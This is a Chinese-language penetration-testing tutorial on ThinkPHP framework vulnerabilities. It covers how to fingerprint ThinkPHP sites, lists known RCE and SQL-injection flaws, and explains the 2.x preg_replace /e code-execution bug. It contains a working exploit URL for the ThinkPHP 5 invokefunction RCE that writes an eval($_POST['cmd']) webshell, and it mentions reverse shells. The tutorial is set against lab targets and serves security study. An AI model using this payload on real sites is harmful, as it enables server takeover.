从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具
上一篇spring反响不错,今天更新thinkphp全漏洞
spring
麋鹿,公众号:麋鹿安全从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具
还是按照之前的文章结构
文章目录
框架介绍 | 何为thinkphp,在哪会遇到thinkphp |
识别spring | 如何在实战中快速分辨thinkphp框架 |
漏洞列表 | thinkphp漏洞全版本 |
漏洞环境搭建 | vulhub+vulfocus(见上一篇spring) |
漏洞复现 | 1.如何识别当前站点是否存在漏洞 |
2.哪些版本(情况)存在该漏洞 | |
3.漏洞指纹特征⭐ | |
4.如何复现 | |
5.如何实现自动化 | |
工具 | 1.指纹识别工具 |
2.综合利用工具 |
零-thinkphp的前世今生
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。
作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注业务逻辑。
总结一下:国人开发的框架,上手简单,开发成本低,搭建容易
所以,tp框架常见于一些违法网站上面
tp版本信息
文档中心 · ThinkPHP 这是tp的官方文档,包含了框架一些基本知识,一些必要的知识我会在复现过程中一一讲解,不过还是建议自己去看一下文档
一-识别tp框架(指纹)
1.1 ioc判断
/favicon.ico
1.2报错
1.3错误传参
1.4特殊指纹出现logo
/?c=4e5e5d7364f443e28fbf0d3ae744a59a
/4e5e5d7364f443e28fbf0d3ae744a59a
p3.1和3.2版本
4e5e5d7364f443e28fbf0d3ae744a59a-index.html
1.5 body特征
body里有"十年磨一剑" 或者"ThinkPHP"
1.6插件
二-漏洞列表
ThinkPHP 2.x 任意代码执行漏洞 |
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce) |
ThinkPHP5 SQL注入漏洞 & 敏感信息泄露 |
ThinkPHP 5.0.23 远程代码执行漏洞 |
ThinkPHP3.2.x RCE |
thinkphp lang 命令执行 |
ThinkPHP 2.x 任意代码执行漏洞
1 漏洞原理
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\1\']="\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
什么是preg_replace 函数
这个函数是个替换函数,而且支持正则,使用方式如下:
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
下面是搜索到的关于/e的解释:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式,此为PHP专有参数,例如preg_replace函数。
任何使用 举例
进行编码然后拼接http://192.168.233.131:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=milu.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST[%27cmd%27])%3B%20%3F%3E访问milu.php
后面反弹shell这些和前面一样
ThinkPHP5 SQL注入漏洞 & 敏感信息泄露
1 漏洞原理
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
这里具体讲一下漏洞产生的过程吧
漏洞附近代码如下